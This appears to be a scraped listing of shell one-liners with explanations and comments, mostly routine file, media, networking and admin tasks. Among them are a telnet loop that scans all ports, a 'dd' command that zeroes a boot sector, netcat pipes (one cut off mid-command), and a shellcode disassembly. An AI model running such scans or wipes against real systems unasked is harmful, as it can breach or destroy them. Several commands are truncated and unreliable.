model name : Genuine Intel(R) CPU T2080 @ 1.73GHz
List the CPU model name
Extracts the model name of the CPU and displays it on screen.
xmodmap -e "pointer = 3 2 1"
left-right mouse buttons (left-handed)
echo {1..3}" o'clock" ROCK
you'll just have to see now wont you
This never gets old
(printf "PERMISSIONS LINKS OWNER GROUP SIZE MONTH DAY HH:MM PROG-NAME\n" \ ; ls -l | sed 1d) | column -t
PERMISSIONS LINKS OWNER GROUP SIZE MONTH DAY HH:MM PROG-NAME
Functions: column ls printf sed
Using column to format a directory listing
perl -le'print"-"x50'
--------------------------------------------------
Perl is installed by default on most modern OS when jot is not.
tar cvzf - /directory/ | ssh root@host "cat > /dev/nst0"
Send a backup job to a remote tape drive on another machine over SSH
I use this all the time for taking manual backups of stuff i want to keep but not important enough to backup regularly.
cd ../"$(ls -F ..|grep '/'|grep -A1 `basename $PWD`|tail -n 1)"
Go to the next sibling directory in alphabetical order, version 2
Another version based on linkinpark342's contribution.
find . -type d | perl -nle 'print s,/,/,g," $_"' | sort -n | tail
Functions: find perl sort
Print the 10 deepest directory paths
awk '{print $1}' < three-column.txt > first-column.txt
sudo /bin/netstat -tpee
sudo /bin/netstat -tpee
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name
tcp 0 0 115.184.221.168:58635 tx-in-f102.google:https TIME_WAIT root 0 -
To get internet connection information .
To get the connection information of protocol tcp and extended infortmation.
umount -a -t nfs
Functions: umount
umount all nfs mounts on machine
cd XX YY
replace XX by YY in the the current directory and cd to it. ( in ZSH )
If you are in /begin/path/with/XX/pattern
will change your current directory to
/begin/path/with/YY/pattern
in ZSH
‹ First < 94 95 96 97 98 > Last ›
rename .JPG .jpg *.JPG
Change the extension of a filename by using rename to convert
This will change all files ending in .JPG to .jpg and will work with any file extension
awk '{ if ($1 in stored_lines) x=1; else print; stored_lines[$1]=1 }' infile.txt > outfile.txt
Remove duplicate rows of an un-sorted file based on a single column
The command (above) will remove any duplicate rows based on the FIRST column of data in an un-sorted file.
The '$1' represents a positional parameter. You can change both instances of '$1' in the command to remove duplicates based on a different column, for instance, the third:
awk '{ if ($3 in stored_lines) x=1; else print; stored_lines[$3]=1 }' infile.txt > outfile.txt
Or you can change it to '$0' to base the removal on the whole row:
awk '{ if ($0 in stored_lines) x=1; else print; stored_lines[$0]=1 }' infile.txt > outfile.txt
** Note: I wouldn't use this on a MASSIVE file, unless you're RAM-rich ;) **
shuf -i 1-49 -n 6 | sort -n | xargs
:source ~/.vimrc
load changes without logging in and out vim
src: daily vim blog
perl -ane 'print unless $x{$F[0]}++' infile > outfile
F[0] filters using first word. $F[1] - 2nd, and so on.
tar zcvf somedir-$(date +%Y%m%d-%H%M).tar.gz somedir/
Archive a directory with datestamp on filename
A useful bash function:
gztardir()
if [ $# -ne 1 ] ; then
echo "incorrect arguments: should be gztardir "
tar zcvf "${1%/}-$(date +%Y%m%d-%H%M).tar.gz" "$1"
watch -n1 "du -hs /home/$USER | cut -f1 -d'/' | figlet -k"
Watch the size of a directory using figlet
You can substitute /home/$USER with any path you like.
find . -name .svn -type d -exec rm -rf '{}' +
With the plus instead of semicolon, find builds the (eg.) rm command like xargs does - invokes as few extra processes as possible.
sed -n '/START/,${/STOP/q;p}'
Match near start of file
$ time (sed -n '/,166499.248,/,/!./{/166499/d;/RTKCOMMAND/q;/#BESTPOS/p}' ../UUT1.ASC > temp_time_file)
real 0m0.093s
user 0m0.030s
sys 0m0.030s
$ time (sed -n '/,166499.248,/,/#RTKCOMMAND/{/#BESTPOS/p}' ../UUT1.ASC > temp_time_file)
real 0m2.015s
user 0m0.484s
sys 0m0.061s
$ time (grep -A 2500 -m 1 ",166499.248," ../UUT1.ASC | grep -A 2500 -m 1 '\#RTKCOMMAND' | grep '\#BESTPOS' > temp_time_file)
real 0m0.171s
user 0m0.122s
sys 0m0.060s
Match near end of file
$ time (sed -n '/,230399.072,/,/#RTKCOMMAND/{/#BESTPOS/p}' ../UUT1.ASC > temp_time_file)
real 0m2.000s
user 0m0.390s
sys 0m0.046s
$ time (sed -n '/,230399.072,/,/!./{/,230399.072,/d;/RTKCOMMAND/q;/#BESTPOS/p}' ../UUT1.ASC > temp_time_file)
user 0m0.468s
sys 0m0.076s
$ time (grep -A 2500 -m 1 ",230399.072," ../UUT1.ASC | grep -A 2500 -m 1 '\#RTKCOMMAND' | grep '\#BESTPOS' > temp_time_file)
real 0m1.703s
user 0m0.137s
Efficiently extract lines between markers
GNU Sed can 'address' between two regex, but it continues parsing through to the end of the file. This slight alteration causes it to terminate reading the input file once the STOP match is made.
In my example I have included an extra '/START/d' as my 'start' marker line contains the 'stop' string (I'm extracting data between 'resets' and using the time stamp as the 'start').
My previous coding using grep is slightly faster near the end of the file, but overall (extracting all the reset cycles in turn) the new SED method is quicker and a lot neater.
find $MAILDIR/ -type f -printf '%T@ %p\n' | sort --reverse | sed -e '{ 1,100d; s/[0-9]*\.[0-9]* \(.*\)/\1/g }' | xargs -i sh -c "cat {}&&rm -f {}" | gzip -c >>ARCHIVE.gz
Functions: find gzip sed sh sort xargs
Move all but the newest 100 emails to a gzipped archive
netstat -an|grep -ci "tcp.*established"
39
calulate established tcp connection of local machine
If you want prepend/append text just wrap in echo:
echo Connected: `netstat -an|grep -ci "tcp.*established"`
alias ips='ip a | awk '\''/inet /&&!/ lo/{print $NF,$2}'\'' | column -t'
Functions: alias awk column
print all network interfaces' names and IPv4 addresses
ifconfig can't properly display interface's name longer 9 symbols,also it can't show IPs added thru ip command, so 'ip' should be used instead. This alias properly shows long names, bond interfaces and all interface aliases. loopback interface is ignored, since its IP is obvious
echo "foo bar" | sudo tee -a /path/to/some/file
foo bar
Add a line to a file using sudo
This is the solution to the common mistake made by sudo newbies, since
sudo echo "foo bar" >> /path/to/some/file
does NOT add to the file as root.
Alternatively,
sudo echo "foo bar" > /path/to/some/file
should be replaced by
echo "foo bar" | sudo tee /path/to/some/file
And you can add a >/dev/null in the end if you're not interested in the tee stdout :
echo "foo bar" | sudo tee -a /path/to/some/file >/dev/null
system_profiler | mail -s "$HOSTNAME System Profiler Report" user@domain.com
On Mac OS X, runs System Profiler Report and e-mails it to specified address.
Replace "user@domain.com" with the target e-mail address. Thanks to alediaz for "$HOSTNAME" which is very useful when running the command with Apple Remote Desktop to multiple machines simultaneously.
sort -t $'\t' -k 2 input.txt
Sao Paulo BRA
Shanghai CHN
Jakarta IDN
Mumbai (Bombay) IND
Seoul KOR
Ciudad de Mexico MEX
Karachi PAK
Moscow RUS
Istanbul TUR
New York USA
Pass TAB as field separator to sort, join, cut, etc.
Use this BASH trick to create a variable containing the TAB character and pass it as the argument to sort, join, cut and other commands which don't understand the \t notation.
sort -t $'\t' ... join -t $'\t' ... cut -d $'\t' ...
find -iname \*.[ch] -exec emacs -nw -q {} --eval "(progn (mark-whole-buffer) (indent-region (point-min) (point-max) nil) (save-buffer))" --kill \;
Functions: emacs find
Indent all the files in a project using emacs
use -iname \*[.ch] instead of -iname \*.c -o -iname \*.h
awk 'NR >= 3 && NR <= 6' /path/to/file
This command uses awk(1) to print all lines between two known line numbers in a file. Useful for seeing output in a log file, where the line numbers are known. The above command will print all lines between, and including, lines 3 and 6.
mysqldump -u $USER --password=$PASSWORD --add-drop-table --no-data "$DATABASE" | grep ^DROP | mysql -u $USER --password=$PASSWORD "$DATABASE"
Uses two comands, requieres mysqldump, but works as expected.
ffmpeg -an -f video4linux -s 320x240 -b 800k -r 15 -i /dev/v4l/video0 -vcodec mpeg4 myvideo.avi
Record a webcam output into a video file.
The option -an disables audio recording, -f forces the use of video4linux for the input, -s sets the video to the size 320x240, -b sets the recording bitrate, -r sets the frame rate to 15fps, -i gives the input device, -vcodec sets the output format.
Press Q to stop recording or you can specify the recording time with the -t option like -t 00:1:30
ps -C thisdaemon || { thisdaemon & }
Check ps output to see if file is running, if not start it
This comes in handy if you have daemons/programs that have potential issues and stop/disappear, etc., can be run in cron to ensure that a program remains up no matter what. Be advised though, if a program did core out, you'd likely want to know why (gdb) so use with caution on production machines.
mencoder -of rawaudio -ovc copy -oac mp3lame -o output.mp3 input.avi
Extract audio track from a video file using mencoder
Extracts an MP3 encoded audio stream from an input video file.
mplayer dvdnav:// -dvd-device foo.img -mouse-movements
Play ISO/DVD-files and activate dvd-menu and mouse menu clicks.
curl -s http://google.com | hexdump -C|less
00000000 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 |.<|
00000050 54 49 54 4c 45 3e 33 30 31 20 4d 6f 76 65 64 3c |TITLE>301 Moved<|
00000060 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 |/TITLE>.
Functions: awk egrep sed
last.fm rss parser
Quick and kludgy rss parser for the recent tracks rss feed from last.fm. Extracts artist and track link.
find /var/www/html/ -type f -mtime +30 -exec basename {} \;
Functions: basename find
Search for files older than 30 days in a directory and list only their names not the full path
awk '//{gsub(/.*|<\/link>.*/,"");print "
"t"" } //{gsub(/.*|<\/title>.*/,"");t=$0 }' file
you can just use one awk script to parse the rss feed. No need to pipe so many awk's and sed's. Its ugly and inefficient.
tar -C /oldirectory -cvpf - . | tar -C /newdirector -xvf -
Copy via tar pipe while preserving file permissions (run this command as root!)
It's the same like 'cp -p' if available. It's faster over networks than scp. If you have to copy gigs of data you could also use netcat and the tar -z option in conjunction -- on the receiving end do:
# nc -l 7000 | tar -xzvpf -
...and on the sending end do:
# tar -czf - * | nc otherhost 7000
find . -name '*.java' | xargs -L 1 cpp -fpreprocessed | grep . | wc -l
Functions: cpp find grep wc xargs
Counts number of lines (in source code excluding comments)
I took java to make the find command simpler and to state that it works for any language supported by cpp.
cpp is the C/C++ preprocessor (interprets macros, removes comments, inserts includes, resolves trigraphs). The -fpreprocessor option tells cpp to assume the input has already been preprocessed so it will only replace comment lines with blank lines.
The -L 1 option tells xargs to launch one process for each line, indeed cpp can only process one file at the time...
identify -format '%w %h %f\n' *.jpg | awk 'NF==3&&$1<500&&$2<500{print $3}' | xargs -r rm
remove *.jpg smaller than 500x500
ldd
# ldd /bin/bash
Functions: ldd
Check executable shared library usage
provides list of shared libraries required by executable
iptables -t nat -A POSTROUTING -p tcp --dport 25 -j SNAT --to-source IP_TO_ROUTE_THROUGH
Route outbound SMTP connections through a addtional IP address rather than your primary
somecommand | open "mailto:?body=$(cat - | stripansi | urlencode)"
pass the output of some command to a new email in the default email client
This depends on 'stripansi' and 'urlencode' commands, which exist on my system as these aliases:
alias stripansi='perl -ple "s/\033\[(?:\d*(?:;\d+)*)*m//g;"'
alias urlencode='perl -MURI::Escape -ne "\$/=\"\"; print uri_escape \$_"'
The `open` command handles URLs on a Mac. Substitute the equivalent for your system (perhaps gnome-open).
I don't use system `mail`, so I have this aliased as `mail` and use it this way:
git show head | mail
perl -MFile::Find=find -MFile::Spec::Functions -Tlwe 'find { wanted => sub { print canonpath $_ if /\.pm\z/ }, no_chdir => 1 }, @INC'
This version works on an AIX system on which I have very limited permissions. The other version fails with "Can't open file /usr/opt/perl588/lib/site_perl/5.8.8/aix/auto/DBI/.packlist".
unrar e *.rar
unpack all rars in current folder
find -iname '*.jpg' -print0 | xargs -0 feh -d
View all images
So you are in directory with loads of pictures laying around and you need to quickly scan through them all
‹ First < 112 113 114 115 116 > Last ›
cd /source/directory; tar cf - . | tar xf - -C /destination/directory
Recursively move folders/files and preserve their permissions and ownership perfectly
grep -R . --exclude-dir='.svn'
/usr/sbin/iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent -set
I use iptables. To rate limit connections. Very easy and no ban lists to manage.
file=ftp://ftp.gimp.org/pub/gimp/v2.6/gimp-2.6.10.tar.bz2; ssh server "wget $file -O -" > $PWD/${file##*/}
Functions: file ssh
This command will download $file via server. I've used this when FTP was broken at the office and I needed to download some software packages.
sudo mount -t vfat -o umask=000,uid=YOUR_UID,gid=users /dev/sdb1 /media/usb
Mount Fat USB with RWX
after that, you can launch bash script in your usb drive in FAT32.
for f in /*part1.rar;do unrar e .$f.;done
Unrar all multipart rar archives in directory
nohup ping -i1 www.google.com &
Functions: nohup ping
ignore HUP interruptions
mysql -umysqlusername -pmysqlpass databsename -B -e "select * from \`tabalename\`;" | sed 's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > mysql_exported_table.csv
Execute MySQL query send results from stdout to CSV
You can, of course, tell MySQL to output results to a file and dictate how to terminate lines, etc. But sometimes you don't have access to the file system MySQL is running on, complicating outputting your results to a CSV, necessitating either annoying hacks or this simple command :D
shred -n33 -zx file; rm file
Functions: rm shred
Safe Delete
remove file that has sensitive info safely. Overwrites it 33 times with zeros
curl -sI http://blog.binfalse.de
Get the header of a website
rak "what you're searching for" dir/path
Better recursive grep with pretty colors... requires ruby and gems (run: "gem install rak")
sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 /file/of/ip/addresses
Sort IP addresses
Sort IP address by order
dd if=/dev/zero of=/dev/fd0 bs=512 count=1
A DESTRUCTIVE command to render a drive unbootable
Overwrites the boot sector. Since this doesn't overwrite any data, you can usually recover by re-creating the partition table exactly the same as before you zeroed it. This can also help sometimes if you install a new drive in a Windows machine which can't read it.
seq 1 5 | parallel ssh {}.cluster.net uptime
Functions: seq ssh
Parallel is from https://savannah.nongnu.org/projects/parallel/
Other examples would be:
(echo foss.org.my; echo www.debian.org; echo www.freenetproject.org) | parallel traceroute
seq -f %04g 0 9999 | parallel -X rm pict{}.jpg
strace -e write=1,2 -p $PID 2>&1 | sed -un "/^ |/p" | sed -ue "s/^.\{9\}\(.\{50\}\).\+/\1/g" -e 's/ //g' | xxd -r -p
{ i=0; while sleep 1; do echo -e "writing a long line to stdout 1 [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA] 2 [BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB] 3 [CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC] \nline2 == var i=$((i++))";done; } > /dev/null & PID=$!
Functions: sed strace
intercept stdout/stderr of another process or disowned process
Useful to recover a output(stdout and stderr) "disown"ed or "nohup"ep process of other instance of ssh.
With the others options the stdout / stderr is intercepted, but only the first n chars.
This way we can recover ALL text of stdout or stderr
find /directory/to/search/ -type f -print0 | xargs -0 grep "findtext"
find text in a file
this will find text in the directory you specify and give you line where it appears.
ffmpeg -i [source].avi -f mp4 -vcodec mpeg4 -b 250000 -s 480?320 -acodec aac -ar 24000 -ab 64 -ac 2 [destination].mp4
Convert AVI to iPhone MP4
Fir3net.com
python <<< $'import minjson\nf = open("sessionstore.js", "r")\njdata = minjson.read(f.read())\nf.close()\nfor win in jdata.get("windows"):\n\tfor tab in win.get("tabs"):\n\t\ti = tab.get("index") - 1\n\t\tprint tab.get("entries")[i].get("url")'
You have to do that before :
cd ~/.mozilla/firefox/
Require bash. If you use something else, you may use
echo | python
Forked from ArkSeth python script.
gs -sDEVICE=pngalpha -sOutputFile=%d.png -r
GPL Ghostscript 8.70 (2009-07-31)
Copyright (C) 2009 Artifex Software, Inc. All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
Processing pages 1 through 3.
Page 1
>>showpage, press to continue<<
Page 2
Page 3
convert pdf into multiple png files
syntax for resolution is: (see "man gs" for further informations)
-rnumber
-rnumber1xnumber2
find . -maxdepth 1 -type f | xargs stat
File: `./index.html'
Size: 7850 Blocks: 16 IO Block: 4096 regular file
Device: 811h/2065d Inode: 217432085 Links: 1
Access: (0644/-rw-r--r--) Uid: (3801789/ asolkar) Gid: (564674/pg2118692)
Access: 2009-04-16 23:34:23.000000000 -0700
Modify: 2009-06-11 00:33:59.000000000 -0700
Change: 2009-06-11 00:33:59.000000000 -0700
File: `./favicon.ico'
Size: 0 Blocks: 0 IO Block: 4096 regular empty file
Device: 811h/2065d Inode: 217432116 Links: 1
Access: 2009-06-06 07:25:26.000000000 -0700
Modify: 2009-06-06 07:25:26.000000000 -0700
Change: 2009-06-06 07:25:26.000000000 -0700
Stat each file in a directory
Possible simplification of egrep-awk-sort with find and -exec with xargs.
find -type f -print0 | xargs -r0 stat -c %y\ %n | sort
Functions: find stat xargs
Find files and list them sorted by modification time
Works with files containing spaces and for very large directories.
openssl rand -base64 12
+SQauy3iRL3W/eso
Generate a random password
Another password maker, for human-unfriendly passwords. '-base64' output will make sure it it can be typed on a keyboard, though the output string length will always be a multiple of 4.
rm -vf /backup/directory/**/FILENAME_*(m+15)
vim --version | grep -P '^(\+|\-)' | sed 's/\s/\n/g' | grep -Pv '^ ?$'
+arabic
+autocmd
-balloon_eval
-browse
++builtin_terms
+byte_offset
+cindent
+clientserver
+clipboard
+cmdline_compl
(..truncated..)
Functions: grep sed vim
List of all vim features
The above output is for a custom compiled version of Vim on Arch Linux.
Just a quick shell one liner, and presents a list of all the enabled and disabled (those prefixed with a '-') features.
‹ First < 113 114 115 116 117 > Last ›
mencoder input.flv -ovc lavc -oac mp3lame -o output.avi
Convert .flv to .avi
find . -name "*.php" -type f -exec sed -i "\$d" '{}' \;
Remove last line from files recursively
Used this command recently to remove the trailing ?> from all the files in a php project, which has having some unnecessary whitespace issues. Obviously, change *.php to whatever you'd like.
grep -rl oldstring . | parallel sed -i -e 's/oldstring/newstring/'
xargs deals badly with special characters (such as space, ' and "). To see the problem try this:
touch important_file
touch 'not important_file'
ls not* | xargs rm
Parallel https://savannah.nongnu.org/projects/parallel/ does not have this problem.
for f in *.txt; do mv $f `basename $f .txt`.md; done;
echo "$1" | xxd -p | tr '0-9' '5-90-6'; echo "$1" | tr '0-9' '5-90-6' | xxd -r -p
#example encrypt
echo "Hi This is N5 sorta like rot13 but with numbers only" | xxd -p | tr '0-9' '5-90-6'
93147509131428751428759e8075281f272916751c141b1075271f298688751720297522142913751e201d17102728751f1e1c245a
#example decrypt
echo "93147509131428751428759e8075281f272916751c141b1075271f298688751720297522142913751e201d17102728751f1e1c245a" | tr '0-9' '5-90-6' | xxd -r -p
Hi This is N5 sorta like rot13 but with numbers only
This is N5 sorta like rot13 but with numbers only
This is N5 sorta like rot13 but with numbers only.
Encrypt
echo "$1" | xxd -p | tr '0-9' '5-90-6'
echo "$1" | tr '0-9' '5-90-6' | xxd -r -p
pbpaste | ssh user@hostname 'cat > ~/my_new_file.txt'
Paste OS X clipboard contents to a file on a remote machine
Redirects the contents of your clipboard through a pipe, to a remote machine via SSH.
find ~ -maxdepth 2 -name .git -print | while read repo; do cd $(dirname $repo); git pull; done
Functions: cd dirname find read
git pull all repos
curl http://github.com/api/v1/yaml/git
user:
name: Git Mirror
repositories:
- :description: Git Source Code Mirror
:has_downloads: true
:url: http://github.com/git/git
:forks: 58
:homepage: http://git-scm.com
:has_wiki: true
:fork: false
:private: false
:open_issues: 1
:name: git
:owner: git
:has_issues: true
:watchers: 383
- :description: "Hello world in every programming language "
:url: http://github.com/git/hello-world
:forks: 8
:homepage: http://github.com/leachim6/hello-world/wikis
:fork: true
:name: hello-world
:watchers: 23
blog: http://git-scm.com
login: git
email: git@logicalawesome.com
Get info about a GitHub user
In this example 'git' is the user name and the output format is YAML but you can change this to XML or JSON, eg: curl http://github.com/api/v1/json/usernamehere
find dir -size -1024k -type f -print0 | du --files0-from - -bc
Functions: dir du find
find out how much space are occuipied by files smaller than 1024K (sic) - improved
The original didn't use -print0 which fails on weird file names eg with spaces.
The original parsed the output of 'ls -l' which is always a bad idea.
objdump -b binary -m i386 -D shellcode.bin
$ objdump -b binary -m i386 -D shc
shc: file format binary
Disassembly of section .data:
0000000000000000 <.data>:
14: b0 0b mov $0xb,%al
16: cd 80 int $0x80
Functions: objdump
disassemble binary shellcode
The options -b binary and -m are needed for disassembling raw machine code when it is not part of a full binary executable with proper headers.
curl http://github.com/api/v1/yaml/search/vim
repositories:
- name: vim-rails
size: 3260
followers: 428
language: VimL
fork: false
username: tpope
id: repo-61032
type: repo
pushed: "2010-05-10T01:40:46Z"
description: "rails.vim: Ruby on Rails power tools"
forks: 25
score: 4.38047
created: "2008-10-09T03:16:22Z"
- name: snipmate.vim
size: 5052
followers: 372
username: msanders
id: repo-130092
pushed: "2010-04-08T05:02:12Z"
description: "snipMate.vim aims to be a concise vim script that implements some of TextMate's snippets features in Vim. "
forks: 64
score: 4.387217
created: "2009-02-16T15:24:55Z"
- name: nerdtree
Get info about a GitHub project
In this example we search for 'vim' but vim doesn't have a project on github right now. That's ok, this command still searches for every project that has 'vim' in their description (forks, plugins, etc). To get XML or JSON output just replace 'yaml' in the url with 'xml' or 'json'.
$ i=(*);echo ${i[RANDOM%(${#i[@]}+1)]]}
An other way to run it ( playing a random file ending with avi, flv or mpeg ) from a specified dir and a specified type of extension :
making MOVIE array with a glob :
MOVIE=( /PATH/TO/MY/FAVORITE/MOVIES/*.{avi,flv,mpeg} )
playing the random file from a random key from the array
mplayer ${MOVIE[ RANDOM % ( ${#i[@]} + 1 ) ]]}
I use only globs and a bash array.
I use GNU bash, version 3.2.48
rm -d **/*(/^F)
This command uses the recursive glob and glob qualifiers from zsh. This will remove all the empty directories from the current directory down.
The **/* recurses down through all the files and directories
The glob qualifiers are added into the parenthesis. The / means only directories. The F means 'full' directories, and the ^ reverses that to mean non-full directories. For more info on these qualifiers see the zsh docs: http://zsh.dotsrc.org/Doc/Release/Expansion.html#SEC87
pdftk first.pdf second.pdf cat output output.pdf
Merge various PDF files
sudo lsof | awk '{printf("%s %s %s\n", $1, $3, $NF)}' | grep -v "(" | sort -k 4 | gawk '$NF==prv{ct++;next} {printf("%d %s\n",ct,$0);ct=1;prv=$NF}' | uniq | sort -nr
Functions: awk gawk grep sort sudo uniq
To find the count of each open file on a system (that supports losf)
HOST=127.0.0.1;for((port=1;port<=65535;++port)); do echo -en "$port ";if echo -en "open $HOST $port\nlogout\quit" | telnet 2>/dev/null | grep 'Connected to' > /dev/null; then echo -en "\n\nport $port/tcp is open\n\n";fi;done | grep open
Functions: echo grep telnet
Scans for open ports using telnet
find . -type d -name .svn -exec chmod g+s "{}" \;
Recursively execute command on directories (.svn, permissions, etc)
The above command will set the GID bit on all directories named .svn in the current directory recursively. This makes the group ownership of all .svn folders be the group ownership for all files created in that folder, no matter the user.
This is useful for me as the subversion working directory on my server is also the live website and needs to be auto committed to subversion every so often via cron as well as worked on by multiple users. Setting the GID bit on the .svn folders makes sure we don't have a mix of .svn metadata created by a slew of different users.
xrandr | grep \* | cut -d' ' -f4
1920x1080
Get current Xorg resolution via xrandr
Not sure if it works the same on any shell.
sudo pm-suspend
Suspend to ram
pdfimages -j foo.pdf bar
Extract JPEG images from a PDF document
This will extract all DCT format images from foo.pdf and save them in JPEG format (option -j) to bar-000.jpg, bar-001.jpg, bar-002.jpg, etc.
Inspired by http://stefaanlippens.net/extract-images-from-pdf-documents
mkfifo pipe && nc remote_server 1337 pipe
Functions: mkfifo
Shorter version with proper stderr redirection .
find . \( -iname '*.[ch]' -o -iname '*.php' -o -iname '*.pl' \) -exec wc -l {} \; | sort
18 ./binnum.c
22 ./helpers.h
35 ./gfx.h
112 ./lotto.pl
144 ./ftp/upload.php
Count lines of code across multiple file types, sorted by least amount of code to greatest
Gives you a nice quick summary of how many lines each of your files is comprised of. (In this example, we just check .c, .h, .php and .pl). Since we just use wc -l to count, you'll just get a very rough estimate of how many lines of actual code there are. Use a more sophisticated algorithm instead if you need to.
resolve(){ curl -Is $1 | egrep "Location" | sed "s/Location: \(.*\)/\1/g"; }
resolve http://goo.gl/gy8n
-> http://www.commandlinefu.com/commands/browse
resolve short urls
since the most url shorteners respond with a header containing the Location: ... this works with most common shorteners
find . -type l | perl -lne 'print if ! -e'
Find dead symbolic links
dpkg -S `which nm` | cut -d':' -f1 | (read PACKAGE; echo "[${PACKAGE}]"; dpkg -s "${PACKAGE}"; dpkg -L "${PACKAGE}") | less
Functions: cut echo read
A command's package details
In Debian based distros, this command will list 'binutils' package details which contains 'nm' command. You can replace 'nm' to any other command.
‹ First < 114 115 116 117 118 > Last ›
mv * .[0-9a-Z]* ../; cd ..; rm -r $OLDPWD
Functions: cd mv rm
move contents of the current directory to the parent directory, then remove current directory.
I think this is less resource consuming than the previous examples
ssh-keygen -R hostname
remove hostname from known_hosts
box(){ c=${2-=}; l=$c$c${1//?/$c}$c$c; echo -e "$l\n$c $1 $c\n$l"; unset c l;}
$box "Testing the box function"
============================
= Testing the box function =
$box "Testing the box function" \*
****************************
* Testing the box function *
Functions: c++ echo unset
Same as command #4962, cleaned up, shortened, and more efficient. Now a ' * ' can be used as the box character, and the variables get unset so they don't mess with anything else you might have.
They marked c++ as a function for this command, but I'm not sure why. Must be a bug.
emerge -av1 `qlist --installed --nocolor | uniq | while read cp; do qlist --exact $cp | while read file; do test -e $file || { echo $cp; echo "$cp: missing $file (and maybe more)" 1>&2; break; }; done; done`
Functions: echo read test uniq
Re-emerge all ebuilds with missing files (Gentoo Linux)
Revised approach to and3k's version, using pipes and read rather than command substitution. This does not require fiddling with IFS when paths have whitespace, and does not risk hitting command-line size limits.
It's less verbose on the missing files, but it stops iterating at the first file that's missing, so it should be definitely faster.
I expanded all the qlist options to be more self-describing.
find $(pwd) -maxdepth 1
/foo/bar/file1
/foo/bar/file2
/foo/bar
List files with full path
Prints contents of current directory with the full path prepended to each entry. You can add '-type f' if you don't want the directories to show up (for those less familiar with find). I can't believe ls doesn't have an option for this.
mkdir phrack66; (cd phrack66; for n in {1..17} ; do echo "http://www.phrack.org/issues.html?issue=66&id=$n&mode=txt" ; done | xargs wget)
Functions: cd echo mkdir xargs
Phrack 66 is out, but the .tar.gz is not there yet on phrack.org's website
Nice reading in the morning on the way to work, but sadly the .tar.gz for the whole issue 66 is not on phrack's website yet. So use wget to download.
HTMLTEXT=$( curl -s http://www.page.de/test.html > /tmp/new.html ; diff /tmp/new.html /tmp/old.html ); if [ "x$HTMLTEXT" != x ] ; then echo $HTMLTEXT | mail -s "Page has changed." mail@mail.de ; fi ; mv /tmp/new.html /tmp/old.html
Functions: diff echo mail mv
Check if a web page has changed last time checked.
Checks if a web page has changed. Put it into cron to check periodically.
Change http://www.page.de/test.html and mail@mail.de for your needs.
ls | sed s#^#$(pwd)/#
This version is a bit more portable although it isn't extended as easily with '-type f' etc. On AIX the find command doesn't have -maxdepth or equivalent.
ffmpeg -t 300 -r '0.5' -i head-%03d.png -i ../TvQuran.com__144.mp3 -acodec copy muxed.flv
Input #0, image2, from 'head-%03d.png':
Duration: 00:10:02.00, start: 0.000000, bitrate: N/A
Stream #0.0: Video: png, rgb24, 600x107, 0.50 tbr, 0.50 tbn, 0.50 tbc
[mp3 @ 0xc93ae50]mdb:255, lastbuf:0 skipping granule 0
Last message repeated 1 times
Input #1, mp3, from '../TvQuran.com__144.mp3':
Duration: 00:05:39.40, start: 0.000000, bitrate: 63 kb/s
Stream #1.0: Audio: mp3, 22050 Hz, stereo, s16, 64 kb/s
File 'muxed.flv' already exists. Overwrite ? [y/N] y
Output #0, flv, to 'muxed.flv':
Stream #0.0: Video: flv, yuv420p, 600x107, q=2-31, 200 kb/s, 90k tbn, 0.50 tbc
Stream #0.1: Audio: libmp3lame, 22050 Hz, stereo, s16, 64 kb/s
Stream mapping:
Stream #0.0 -> #0.0
Stream #1.0 -> #0.1
Press [q] to stop encoding
video:351kB audio:2610kB global headers:0kB muxing overhead 6.847169%
Add an audio soundtrack to a series of images to create an flv
Creates a 5 minute flv file, with the given sequence of images and audio with 0.5 fps.
The images were created using the following command:
for x in `seq 0 300`; do cp ../head.PNG head-`printf '%03d' $x`.png; done
You can also inject metadata to seek easier using yamdi as follows:
yamdi -i muxed.flv -o video.flv
url="[Youtube URL]"; echo $(curl ${url%&*} 2>&1 | grep -iA2 '' | grep '-') | sed 's/^- //'
Grab just the title of a youtube video
There's another version on here that uses GET but some people don't have lwp-request, so here's an alternative. It's also a little shorter and should work with most youtube URLs since it truncates at the first &
convert -density 300 input.pdf -fill "rgb(255,255,255)" -opaque "rgb(0,0,0)" output.pdf
Replaces a color in a PDF document, useful for removing a dark background before printing.
The pdf is first converted to a bitmap, so change "-density" to match your printer resolution. Also be careful about the RAM required.
In this example rgb(0,0,0) is replaced by rgb(255,255,255), change to suit your needs.
function 4get () { curl $1 | grep -i "File common
Functions: comm
Find common lines between two files
find /dir | awk '{print length, $0}' | sort -nr | sed 's/^[[:digit:]]* //' | while read dirfile; do outfile="$(echo "$(basename "$dirfile")" | unaccent UTF-8)"; mv "$dirfile" "$(dirname "$dirfile")/$outfile"; done
Functions: awk basename find mv read sed sort
Unaccent an entire directory tree with files.
This command changes all filename and directories within a directory tree to unaccented ones. I had to do this to 'sanitize' some samba-exported trees. The reason it works might seem a little difficult to see at first - it first reverses-sort by pathname length, then it renames only the basename of the path. This way it'll always go in the right order to rename everything.
Some notes:
1. You'll have to have the 'unaccent' command. On Ubuntu, just aptitude install unaccent.
2. In this case, the encoding of the tree was UTF-8 - but you might be using another one, just adjust the command to your encoding.
3. The program might spit a few harmless errors saying the files are the same - not to fear.
echo '
Functions: awk echo find sort
HTML5 ogg player
find OGG audio files on your *nix box and listen to them using your web browser
split -b 1k file ; cat x* > file
Functions: cat file split
Split and join with split and cat.
`split -b 1k file` splits files into 1k chunks. Rejoin them with `cat x* > file`.
‹ First < 115 116 117 118 119 > Last ›
svn status | grep "^\?" | awk '{print $2}' | xargs svn add
Recursively Add Changed Files to Subversion
